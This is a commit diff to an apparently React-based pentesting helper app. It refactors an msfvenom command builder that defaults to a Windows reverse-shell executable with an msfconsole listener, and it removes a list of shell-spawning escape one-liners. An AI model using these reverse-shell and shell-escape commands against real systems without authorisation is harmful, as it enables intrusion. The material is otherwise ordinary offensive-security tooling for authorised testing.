fix msfvenom builder

LasCC · Jan 8, 2023 · 6f64b1f · 6f64b1f
1 parent 73b85fa
commit 6f64b1f
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Showing 3 changed files with 40 additions and 115 deletions.
diff --git a/src/components/file_transfer/ObfuscatedFiles.tsx b/src/components/file_transfer/ObfuscatedFiles.tsx
@@ -28,11 +28,19 @@ const EchoBase64 = () => {
         setValues( { ...values, [ name ]: event.target.value } );
     };
 
-    const randomString = () => {
+    const randomString = ( length = 10 ) => {
         const chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
         let result = '';
-        for ( let i = 0; i < 10; i++ ) {
-            result += chars[ Math.floor( Math.random() * chars.length ) ];
+        if ( length > chars.length ) {
+            return 'An error occurred';
+        }
+        for ( let i = 0; i < length; i++ ) {
+            const randomNumber = Math.floor( Math.random() * chars.length );
+            if ( randomNumber ) {
+                result += chars[ randomNumber ];
+            } else {
+                return 'An error occurred';
+            }
         }
         return result;
     };

diff --git a/src/components/linux/MSFBuilder.tsx b/src/components/linux/MSFBuilder.tsx
@@ -28,11 +28,14 @@ const MSFBuilder = () => {
         Platform: 'windows',
         Arch: 'x64',
         NOP: '200',
-        BadCharacters: `00`,
+        BadCharacters: "badchars",
         Format: 'exe',
         Outfile: 'reverse_shell.exe'
     } );
 
+    const { LHOST, LPORT, Platform, Arch, NOP, Encoder,
+        EncoderIterations, BadCharacters, Format, Outfile } = values;
+
     const launchCommand = `msfconsole -qx "use exploit/multi/handler; set PAYLOAD ${ values.Payload }; set LHOST ${ values.LHOST }; set LPORT ${ values.LPORT }; run"`;
 
     const handleChange = ( name: string ) => ( event: { target: { value: string } } ) => {
@@ -43,6 +46,28 @@ const MSFBuilder = () => {
         setValues( { ...values, [ prop ]: data } );
     };
 
+    const generateCommand = ( values ) => {
+        const options = [
+            LHOST && `LHOST=${ LHOST }`,
+            LPORT && `LPORT=${ LPORT }`,
+            Platform && `--platform ${ Platform }`,
+            Arch && `-a ${ Arch }`,
+            NOP && `-n ${ NOP }`,
+            Encoder && `-e ${ Encoder }`,
+            EncoderIterations && `-i ${ EncoderIterations }`,
+            BadCharacters && `-b "${ BadCharacters }"`,
+            Format && `-f ${ Format }`,
+            Outfile && `-o ${ Outfile }`
+        ].filter( Boolean );
+
+        if ( !values.Payload ) {
+            return '';
+        }
+
+        const command = `msfvenom -p ${ values.Payload } ${ options.join( ' ' ) }`;
+        return command;
+    }
+
     return (
         <div>
             <div style={{ margin: 15 }}>
@@ -264,17 +289,7 @@ const MSFBuilder = () => {
                         <Paragraph>
                             <pre>
                                 <Text copyable>
-                                    msfvenom -p {values.Payload}
-                                    {values.LHOST > '' && ' LHOST=' + values.LHOST}
-                                    {values.LPORT > '' && ' LPORT=' + values.LPORT}
-                                    {values.Platform > '' && ' --platform ' + values.Platform}
-                                    {values.Arch > '' && ' -a ' + values.Arch}
-                                    {values.NOP > '' && ' -n ' + values.NOP}
-                                    {values.Encoder > '' && ' -e ' + values.Encoder}
-                                    {values.EncoderIterations > '' && ' -i ' + values.EncoderIterations}
-                                    {values.BadCharacters > '' && ' -b ' + `"{values.BadCharacters}"`}
-                                    {values.Format > '' && ' -f ' + values.Format}
-                                    {values.Outfile > '' && ' -o ' + values.Outfile}
+                                    {generateCommand( values )}
                                 </Text>
                             </pre>
                         </Paragraph>

diff --git a/src/components/linux/TtySpawnShell.tsx b/src/components/linux/TtySpawnShell.tsx
@@ -78,106 +78,8 @@ export default function TTY () {
                     </pre>
                 </Paragraph>
             </div>
-            <Divider />
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>OS system spawn shell</Title>
-                <Paragraph>
-                    <pre><Text copyable>echo os.system("/bin/bash")</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>Bash spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>/bin/sh -i</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>Perl spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>perl —e 'exec "/bin/sh";'</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>Ruby spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>ruby: exec "/bin/sh"</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>Lua spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>lua: os.execute("/bin/sh")</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>IRB spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>exec "/bin/sh"</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>VI spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>:!bash</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>VI(2) spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>:set shell=/bin/bash:shell</Text></pre>
-                </Paragraph>
-            </div>
-            <div
-                style={{
-                    padding: 15,
-                    marginTop: 15
-                }}
-            >
-                <Title level={3}>Nmap spawn shell </Title>
-                <Paragraph>
-                    <pre><Text copyable>!sh</Text></pre>
-                </Paragraph>
-            </div>
+            <Divider orientation='center'>Fully Interactive TTY</Divider>
+
         </div>
     );
 }